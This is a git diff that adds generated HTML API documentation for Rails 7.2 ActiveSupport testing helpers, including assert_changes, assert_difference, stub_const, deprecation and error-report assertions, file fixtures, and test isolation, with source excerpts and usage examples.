+ + +
+

Sets the order in which test cases are run.

+ +
ActiveSupport::TestCase.test_order = :random # => :random
+
+ +

Valid values are:

+
  • +

    :random (to run tests in random order)

    +
  • +

    :parallel (to run tests in parallel)

    +
  • +

    :sorted (to run tests alphabetically by method name)

    +
  • +

    :alpha (equivalent to :sorted)

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/test_case.rb, line 34
+      def test_order=(new_order)
+        ActiveSupport.test_order = new_order
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + assert_no_match(matcher, obj, msg = nil) + + +

+ + +
+

Alias for: refute_match

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_empty(obj, msg = nil) + + +

+ + +
+

Alias for: refute_empty

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_equal(exp, act, msg = nil) + + +

+ + +
+

Alias for: refute_equal

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_in_delta(exp, act, delta = 0.001, msg = nil) + + +

+ + +
+

Alias for: refute_in_delta

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_in_epsilon(a, b, epsilon = 0.001, msg = nil) + + +

+ + +
+

Alias for: refute_in_epsilon

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_includes(collection, obj, msg = nil) + + +

+ + +
+

Alias for: refute_includes

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_instance_of(cls, obj, msg = nil) + + +

+ + +
+

Alias for: refute_instance_of

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_kind_of(cls, obj, msg = nil) + + +

+ + +
+

Alias for: refute_kind_of

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_nil(obj, msg = nil) + + +

+ + +
+

Alias for: refute_nil

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_operator(o1, op, o2 = UNDEFINED, msg = nil) + + +

+ + +
+

Alias for: refute_operator

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_predicate(o1, op, msg = nil) + + +

+ + +
+

Alias for: refute_predicate

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_respond_to(obj, meth, msg = nil) + + +

+ + +
+

Alias for: refute_respond_to

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + assert_not_same(exp, act, msg = nil) + + +

+ + +
+

Alias for: refute_same

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing.html b/src/7.2/classes/ActiveSupport/Testing.html new file mode 100644 index 0000000000..25537229ef --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing.html @@ -0,0 +1,126 @@ +--- +title: ActiveSupport::Testing +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Assertions.html b/src/7.2/classes/ActiveSupport/Testing/Assertions.html new file mode 100644 index 0000000000..2611f0b1cb --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Assertions.html @@ -0,0 +1,594 @@ +--- +title: ActiveSupport::Testing::Assertions +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_changes(expression, message = nil, from: UNTRACKED, to: UNTRACKED, &block) + +

+ + +
+

Assertion that the result of evaluating an expression is changed before and after invoking the passed in block.

+ +
assert_changes 'Status.all_good?' do
+  post :create, params: { status: { ok: false } }
+end
+
+ +

You can pass the block as a string to be evaluated in the context of the block. A lambda can be passed for the block as well.

+ +
assert_changes -> { Status.all_good? } do
+  post :create, params: { status: { ok: false } }
+end
+
+ +

The assertion is useful to test side effects. The passed block can be anything that can be converted to string with to_s.

+ +
assert_changes :@object do
+  @object = 42
+end
+
+ +

The keyword arguments :from and :to can be given to specify the expected initial value and the expected value after the block was executed.

+ +
assert_changes :@object, from: nil, to: :foo do
+  @object = :foo
+end
+
+ +

An error message can be specified.

+ +
assert_changes -> { Status.all_good? }, 'Expected the status to be bad' do
+  post :create, params: { status: { incident: true } }
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/assertions.rb, line 191
+      def assert_changes(expression, message = nil, from: UNTRACKED, to: UNTRACKED, &block)
+        exp = expression.respond_to?(:call) ? expression : -> { eval(expression.to_s, block.binding) }
+
+        before = exp.call
+        retval = _assert_nothing_raised_or_warn("assert_changes", &block)
+
+        unless from == UNTRACKED
+          error = "Expected change from #{from.inspect}, got #{before.inspect}"
+          error = "#{message}.\n#{error}" if message
+          assert from === before, error
+        end
+
+        after = exp.call
+
+        error = "#{expression.inspect} didn't change"
+        error = "#{error}. It was already #{to.inspect}" if before == to
+        error = "#{message}.\n#{error}" if message
+        refute_equal before, after, error
+
+        unless to == UNTRACKED
+          error = "Expected change to #{to.inspect}, got #{after.inspect}\n"
+          error = "#{message}.\n#{error}" if message
+          assert to === after, error
+        end
+
+        retval
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_difference(expression, *args, &block) + +

+ + +
+

Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.

+ +
assert_difference 'Article.count' do
+  post :create, params: { article: {...} }
+end
+
+ +

An arbitrary expression is passed in and evaluated.

+ +
assert_difference 'Article.last.comments(:reload).size' do
+  post :create, params: { comment: {...} }
+end
+
+ +

An arbitrary positive or negative difference can be specified. The default is 1.

+ +
assert_difference 'Article.count', -1 do
+  post :delete, params: { id: ... }
+end
+
+ +

An array of expressions can also be passed in and evaluated.

+ +
assert_difference [ 'Article.count', 'Post.count' ], 2 do
+  post :create, params: { article: {...} }
+end
+
+ +

A hash of expressions/numeric differences can also be passed in and evaluated.

+ +
assert_difference ->{ Article.count } => 1, ->{ Notification.count } => 2 do
+  post :create, params: { article: {...} }
+end
+
+ +

A lambda or a list of lambdas can be passed in and evaluated:

+ +
assert_difference ->{ Article.count }, 2 do
+  post :create, params: { article: {...} }
+end
+
+assert_difference [->{ Article.count }, ->{ Post.count }], 2 do
+  post :create, params: { article: {...} }
+end
+
+ +

An error message can be specified.

+ +
assert_difference 'Article.count', -1, 'An Article should be destroyed' do
+  post :delete, params: { id: ... }
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/assertions.rb, line 101
+      def assert_difference(expression, *args, &block)
+        expressions =
+          if expression.is_a?(Hash)
+            message = args[0]
+            expression
+          else
+            difference = args[0] || 1
+            message = args[1]
+            Array(expression).index_with(difference)
+          end
+
+        exps = expressions.keys.map { |e|
+          e.respond_to?(:call) ? e : lambda { eval(e, block.binding) }
+        }
+        before = exps.map(&:call)
+
+        retval = _assert_nothing_raised_or_warn("assert_difference", &block)
+
+        expressions.zip(exps, before) do |(code, diff), exp, before_value|
+          actual = exp.call
+          error  = "#{code.inspect} didn't change by #{diff}, but by #{actual - before_value}"
+          error  = "#{message}.\n#{error}" if message
+          assert_equal(before_value + diff, actual, error)
+        end
+
+        retval
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_changes(expression, message = nil, from: UNTRACKED, &block) + +

+ + +
+

Assertion that the result of evaluating an expression is not changed before and after invoking the passed in block.

+ +
assert_no_changes 'Status.all_good?' do
+  post :create, params: { status: { ok: true } }
+end
+
+ +

Provide the optional keyword argument :from to specify the expected initial value.

+ +
assert_no_changes -> { Status.all_good? }, from: true do
+  post :create, params: { status: { ok: true } }
+end
+
+ +

An error message can be specified.

+ +
assert_no_changes -> { Status.all_good? }, 'Expected the status to be good' do
+  post :create, params: { status: { ok: false } }
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/assertions.rb, line 238
+      def assert_no_changes(expression, message = nil, from: UNTRACKED, &block)
+        exp = expression.respond_to?(:call) ? expression : -> { eval(expression.to_s, block.binding) }
+
+        before = exp.call
+        retval = _assert_nothing_raised_or_warn("assert_no_changes", &block)
+
+        unless from == UNTRACKED
+          error = "Expected initial value of #{from.inspect}, got #{before.inspect}"
+          error = "#{message}.\n#{error}" if message
+          assert from === before, error
+        end
+
+        after = exp.call
+
+        error = "#{expression.inspect} changed"
+        error = "#{message}.\n#{error}" if message
+
+        if before.nil?
+          assert_nil after, error
+        else
+          assert_equal before, after, error
+        end
+
+        retval
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_difference(expression, message = nil, &block) + +

+ + +
+

Assertion that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.

+ +
assert_no_difference 'Article.count' do
+  post :create, params: { article: invalid_attributes }
+end
+
+ +

A lambda can be passed in and evaluated.

+ +
assert_no_difference -> { Article.count } do
+  post :create, params: { article: invalid_attributes }
+end
+
+ +

An error message can be specified.

+ +
assert_no_difference 'Article.count', 'An Article should not be created' do
+  post :create, params: { article: invalid_attributes }
+end
+
+ +

An array of expressions can also be passed in and evaluated.

+ +
assert_no_difference [ 'Article.count', -> { Post.count } ] do
+  post :create, params: { article: invalid_attributes }
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/assertions.rb, line 153
+      def assert_no_difference(expression, message = nil, &block)
+        assert_difference expression, 0, message, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_not(object, message = nil) + +

+ + +
+

Asserts that an expression is not truthy. Passes if object is nil or false. β€œTruthy” means β€œconsidered true in a conditional” like if foo.

+ +
assert_not nil    # => true
+assert_not false  # => true
+assert_not 'foo'  # => Expected "foo" to be nil or false
+
+ +

An error message can be specified.

+ +
assert_not foo, 'foo should be false'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/assertions.rb, line 21
+      def assert_not(object, message = nil)
+        message ||= "Expected #{mu_pp(object)} to be nil or false"
+        assert !object, message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_nothing_raised() + +

+ + +
+

Assertion that the block should not raise an exception.

+ +

Passes if evaluated code in the yielded block raises no exception.

+ +
assert_nothing_raised do
+  perform_service(param: 'no_exception')
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/assertions.rb, line 48
+      def assert_nothing_raised
+        yield.tap { assert(true) }
+      rescue => error
+        raise Minitest::UnexpectedError.new(error)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_raise(*exp, match: nil, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: assert_raises +
+ + + + +
+ +
+

+ + assert_raises(*exp, match: nil, &block) + +

+ + +
+

Asserts that a block raises one of exp. This is an enhancement of the standard Minitest assertion method with the ability to test error messages.

+ +
assert_raises(ArgumentError, match: /incorrect param/i) do
+  perform_service(param: 'exception')
+end
+
+
+ + + +
+ Also aliased as: assert_raise +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/assertions.rb, line 34
+      def assert_raises(*exp, match: nil, &block)
+        error = super(*exp, &block)
+        assert_match(match, error.message) if match
+        error
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/ConstantLookup.html b/src/7.2/classes/ActiveSupport/Testing/ConstantLookup.html new file mode 100644 index 0000000000..cb3234f00f --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/ConstantLookup.html @@ -0,0 +1,85 @@ +--- +title: ActiveSupport::Testing::ConstantLookup +layout: default +--- +
+ +
+
+ +
+ +

Resolves a constant from a minitest spec name.

+ +

Given the following spec-style test:

+ +
describe WidgetsController, :index do
+  describe "authenticated user" do
+    describe "returns widgets" do
+      it "has a controller that exists" do
+        assert_kind_of WidgetsController, @controller
+      end
+    end
+  end
+end
+
+ +

The test will have the following name:

+ +
"WidgetsController::index::authenticated user::returns widgets"
+
+ +

The constant WidgetsController can be resolved from the name. The following code will resolve the constant:

+ +
controller = determine_constant_from_test_name(name) do |constant|
+  Class === constant && constant < ::ActionController::Metal
+end
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/ConstantStubbing.html b/src/7.2/classes/ActiveSupport/Testing/ConstantStubbing.html new file mode 100644 index 0000000000..cfa836e622 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/ConstantStubbing.html @@ -0,0 +1,141 @@ +--- +title: ActiveSupport::Testing::ConstantStubbing +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + stub_const(mod, constant, new_value, exists: true) + +

+ + +
+

Changes the value of a constant for the duration of a block. Example:

+ +
# World::List::Import::LARGE_IMPORT_THRESHOLD = 5000
+stub_const(World::List::Import, :LARGE_IMPORT_THRESHOLD, 1) do
+  assert_equal 1, World::List::Import::LARGE_IMPORT_THRESHOLD
+end
+
+assert_equal 5000, World::List::Import::LARGE_IMPORT_THRESHOLD
+
+ +

Using this method rather than forcing World::List::Import::LARGE_IMPORT_THRESHOLD = 5000 prevents warnings from being thrown, and ensures that the old value is returned after the test has completed.

+ +

If the constant doesn’t already exists, but you need it set for the duration of the block you can do so by passing β€˜exists: false`.

+ +
stub_const(object, :SOME_CONST, 1, exists: false) do
+  assert_equal 1, SOME_CONST
+end
+
+ +

Note: Stubbing a const will stub it across all threads. So if you have concurrent threads (like separate test suites running in parallel) that all depend on the same constant, it’s possible divergent stubbing will trample on each other.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/constant_stubbing.rb, line 28
+      def stub_const(mod, constant, new_value, exists: true)
+        if exists
+          begin
+            old_value = mod.const_get(constant, false)
+            mod.send(:remove_const, constant)
+            mod.const_set(constant, new_value)
+            yield
+          ensure
+            mod.send(:remove_const, constant)
+            mod.const_set(constant, old_value)
+          end
+        else
+          if mod.const_defined?(constant)
+            raise NameError, "already defined constant #{constant} in #{mod.name}"
+          end
+
+          begin
+            mod.const_set(constant, new_value)
+            yield
+          ensure
+            mod.send(:remove_const, constant)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Declarative.html b/src/7.2/classes/ActiveSupport/Testing/Declarative.html new file mode 100644 index 0000000000..2f8f12e5ab --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Declarative.html @@ -0,0 +1,115 @@ +--- +title: ActiveSupport::Testing::Declarative +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + test(name, &block) + +

+ + +
+

Helper to define a test method using a String. Under the hood, it replaces spaces with underscores and defines the test method.

+ +
test "verify something" do
+  ...
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/declarative.rb, line 13
+        def test(name, &block)
+          test_name = "test_#{name.gsub(/\s+/, '_')}".to_sym
+          defined = method_defined? test_name
+          raise "#{test_name} is already defined in #{self}" if defined
+          if block_given?
+            define_method(test_name, &block)
+          else
+            define_method(test_name) do
+              flunk "No implementation provided for #{name}"
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Deprecation.html b/src/7.2/classes/ActiveSupport/Testing/Deprecation.html new file mode 100644 index 0000000000..29c9c69ff4 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Deprecation.html @@ -0,0 +1,237 @@ +--- +title: ActiveSupport::Testing::Deprecation +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_deprecated(deprecator, &block)
assert_deprecated(match, deprecator, &block) + + +

+ + +
+

Asserts that a matching deprecation warning was emitted by the given deprecator during the execution of the yielded block.

+ +
assert_deprecated(/foo/, CustomDeprecator) do
+  CustomDeprecator.warn "foo should no longer be used"
+end
+
+ +

The match object may be a Regexp, or String appearing in the message.

+ +
assert_deprecated('foo', CustomDeprecator) do
+  CustomDeprecator.warn "foo should no longer be used"
+end
+
+ +

If the match is omitted (or explicitly nil), any deprecation warning will match.

+ +
assert_deprecated(CustomDeprecator) do
+  CustomDeprecator.warn "foo should no longer be used"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/deprecation.rb, line 30
+      def assert_deprecated(match = nil, deprecator = nil, &block)
+        match, deprecator = nil, match if match.is_a?(ActiveSupport::Deprecation)
+
+        unless deprecator
+          raise ArgumentError, "No deprecator given"
+        end
+
+        result, warnings = collect_deprecations(deprecator, &block)
+        assert !warnings.empty?, "Expected a deprecation warning within the block but received none"
+        if match
+          match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp)
+          assert warnings.any? { |w| match.match?(w) }, "No deprecation warning matched #{match}: #{warnings.join(', ')}"
+        end
+        result
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_not_deprecated(deprecator, &block) + +

+ + +
+

Asserts that no deprecation warnings are emitted by the given deprecator during the execution of the yielded block.

+ +
assert_not_deprecated(CustomDeprecator) do
+  CustomDeprecator.warn "message" # fails assertion
+end
+
+assert_not_deprecated(ActiveSupport::Deprecation.new) do
+  CustomDeprecator.warn "message" # passes assertion, different deprecator
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/deprecation.rb, line 55
+      def assert_not_deprecated(deprecator, &block)
+        result, deprecations = collect_deprecations(deprecator, &block)
+        assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n  #{deprecations * "\n  "}"
+        result
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collect_deprecations(deprecator) + +

+ + +
+

Returns the return value of the block and an array of all the deprecation warnings emitted by the given deprecator during the execution of the yielded block.

+ +
collect_deprecations(CustomDeprecator) do
+  CustomDeprecator.warn "message"
+  ActiveSupport::Deprecation.new.warn "other message"
+  :result
+end # => [:result, ["message"]]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/deprecation.rb, line 69
+      def collect_deprecations(deprecator)
+        old_behavior = deprecator.behavior
+        deprecations = []
+        deprecator.behavior = Proc.new do |message, callstack|
+          deprecations << message
+        end
+        result = yield
+        [result, deprecations]
+      ensure
+        deprecator.behavior = old_behavior
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions.html b/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions.html new file mode 100644 index 0000000000..06299e143d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions.html @@ -0,0 +1,195 @@ +--- +title: ActiveSupport::Testing::ErrorReporterAssertions +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_error_reported(error_class = StandardError, &block) + +

+ + +
+

Assertion that the block should cause at least one exception to be reported to Rails.error.

+ +

Passes if the evaluated code in the yielded block reports a matching exception.

+ +
assert_error_reported(IOError) do
+  Rails.error.report(IOError.new("Oops"))
+end
+
+ +

To test further details about the reported exception, you can use the return value.

+ +
report = assert_error_reported(IOError) do
+  # ...
+end
+assert_equal "Oops", report.error.message
+assert_equal "admin", report.context[:section]
+assert_equal :warning, report.severity
+assert_predicate report, :handled?
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/error_reporter_assertions.rb, line 88
+      def assert_error_reported(error_class = StandardError, &block)
+        reports = ErrorCollector.record do
+          _assert_nothing_raised_or_warn("assert_error_reported", &block)
+        end
+
+        if reports.empty?
+          assert(false, "Expected a #{error_class.name} to be reported, but there were no errors reported.")
+        elsif (report = reports.find { |r| error_class === r.error })
+          self.assertions += 1
+          report
+        else
+          message = "Expected a #{error_class.name} to be reported, but none of the " \
+            "#{reports.size} reported errors matched:  \n" \
+            "#{reports.map { |r| r.error.class.name }.join("\n  ")}"
+          assert(false, message)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_error_reported(&block) + +

+ + +
+

Assertion that the block should not cause an exception to be reported to Rails.error.

+ +

Passes if evaluated code in the yielded block reports no exception.

+ +
assert_no_error_reported do
+  perform_service(param: 'no_exception')
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/error_reporter_assertions.rb, line 62
+      def assert_no_error_reported(&block)
+        reports = ErrorCollector.record do
+          _assert_nothing_raised_or_warn("assert_no_error_reported", &block)
+        end
+        assert_predicate(reports, :empty?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions/ErrorCollector.html b/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions/ErrorCollector.html new file mode 100644 index 0000000000..bf147dfdfc --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions/ErrorCollector.html @@ -0,0 +1,67 @@ +--- +title: ActiveSupport::Testing::ErrorReporterAssertions::ErrorCollector +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions/ErrorCollector/Report.html b/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions/ErrorCollector/Report.html new file mode 100644 index 0000000000..bc949dd5ed --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/ErrorReporterAssertions/ErrorCollector/Report.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Testing::ErrorReporterAssertions::ErrorCollector::Report +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/FileFixtures.html b/src/7.2/classes/ActiveSupport/Testing/FileFixtures.html new file mode 100644 index 0000000000..ee04d17c0e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/FileFixtures.html @@ -0,0 +1,122 @@ +--- +title: ActiveSupport::Testing::FileFixtures +layout: default +--- +
+ +
+
+ +
+ +

Adds simple access to sample files called file fixtures. File fixtures are normal files stored in ActiveSupport::TestCase.file_fixture_path.

+ +

File fixtures are represented as Pathname objects. This makes it easy to extract specific information:

+ +
file_fixture("example.txt").read # get the file's content
+file_fixture("example.mp3").size # get the file size
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + file_fixture(fixture_name) + +

+ + +
+

Returns a Pathname to the fixture file named fixture_name.

+ +

Raises ArgumentError if fixture_name can’t be found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/file_fixtures.rb, line 26
+      def file_fixture(fixture_name)
+        path = Pathname.new(File.join(file_fixture_path, fixture_name))
+
+        if path.exist?
+          path
+        else
+          msg = "the directory '%s' does not contain a file named '%s'"
+          raise ArgumentError, msg % [file_fixture_path, fixture_name]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Isolation.html b/src/7.2/classes/ActiveSupport/Testing/Isolation.html new file mode 100644 index 0000000000..8892fda840 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Isolation.html @@ -0,0 +1,182 @@ +--- +title: ActiveSupport::Testing::Isolation +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
SubprocessCrashed=Class.new(StandardError)
+ + + + + + +

Class Public methods

+ +
+

+ + forking_env?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/isolation.rb, line 18
+      def self.forking_env?
+        !ENV["NO_FORK"] && Process.respond_to?(:fork)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + run() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/isolation.rb, line 22
+      def run
+        status, serialized = run_in_isolation do
+          super
+        end
+
+        unless status&.success?
+          error = SubprocessCrashed.new("Subprocess exited with an error: #{status.inspect}\noutput: #{serialized.inspect}")
+          error.set_backtrace(caller)
+          self.failures << Minitest::UnexpectedError.new(error)
+          return defined?(Minitest::Result) ? Minitest::Result.from(self) : dup
+        end
+
+        Marshal.load(serialized)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Isolation/Forking.html b/src/7.2/classes/ActiveSupport/Testing/Isolation/Forking.html new file mode 100644 index 0000000000..4b9f65ca43 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Isolation/Forking.html @@ -0,0 +1,133 @@ +--- +title: ActiveSupport::Testing::Isolation::Forking +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + run_in_isolation(&blk) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/isolation.rb, line 38
+        def run_in_isolation(&blk)
+          IO.pipe do |read, write|
+            read.binmode
+            write.binmode
+
+            pid = fork do
+              read.close
+              yield
+              begin
+                if error?
+                  failures.map! { |e|
+                    begin
+                      Marshal.dump e
+                      e
+                    rescue TypeError
+                      ex = Exception.new e.message
+                      ex.set_backtrace e.backtrace
+                      Minitest::UnexpectedError.new ex
+                    end
+                  }
+                end
+                test_result = defined?(Minitest::Result) ? Minitest::Result.from(self) : dup
+                result = Marshal.dump(test_result)
+              end
+
+              write.puts [result].pack("m")
+              exit!(0)
+            end
+
+            write.close
+            result = read.read
+            _, status = Process.wait2(pid)
+            return status, result.unpack1("m")
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Isolation/Subprocess.html b/src/7.2/classes/ActiveSupport/Testing/Isolation/Subprocess.html new file mode 100644 index 0000000000..fc65860a04 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Isolation/Subprocess.html @@ -0,0 +1,149 @@ +--- +title: ActiveSupport::Testing::Isolation::Subprocess +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ORIG_ARGV=ARGV.dup unless defined?(ORIG_ARGV)
+ + + + + + + +

Instance Public methods

+ +
+

+ + run_in_isolation(&blk) + +

+ + +
+

Complicated H4X to get this working in Windows / JRuby with no forking.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/isolation.rb, line 80
+        def run_in_isolation(&blk)
+          require "tempfile"
+
+          if ENV["ISOLATION_TEST"]
+            yield
+            test_result = defined?(Minitest::Result) ? Minitest::Result.from(self) : dup
+            File.open(ENV["ISOLATION_OUTPUT"], "w") do |file|
+              file.puts [Marshal.dump(test_result)].pack("m")
+            end
+            exit!(0)
+          else
+            Tempfile.open("isolation") do |tmpfile|
+              env = {
+                "ISOLATION_TEST" => self.class.name,
+                "ISOLATION_OUTPUT" => tmpfile.path
+              }
+
+              test_opts = "-n#{self.class.name}##{name}"
+
+              load_path_args = []
+              $-I.each do |p|
+                load_path_args << "-I"
+                load_path_args << File.expand_path(p)
+              end
+
+              child = IO.popen([env, Gem.ruby, *load_path_args, $0, *ORIG_ARGV, test_opts])
+
+              status = nil
+              begin
+                _, status = Process.wait2(child.pid)
+              rescue Errno::ECHILD # The child process may exit before we wait
+                nil
+              end
+
+              return status, tmpfile.read.unpack1("m")
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Parallelization.html b/src/7.2/classes/ActiveSupport/Testing/Parallelization.html new file mode 100644 index 0000000000..7946a5c2ec --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Parallelization.html @@ -0,0 +1,79 @@ +--- +title: ActiveSupport::Testing::Parallelization +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Parallelization/Server.html b/src/7.2/classes/ActiveSupport/Testing/Parallelization/Server.html new file mode 100644 index 0000000000..2963f85bf9 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Parallelization/Server.html @@ -0,0 +1,467 @@ +--- +title: ActiveSupport::Testing::Parallelization::Server +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + DRb::DRbUndumped + +
  • + +
+ + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 14
+        def initialize
+          @queue = Queue.new
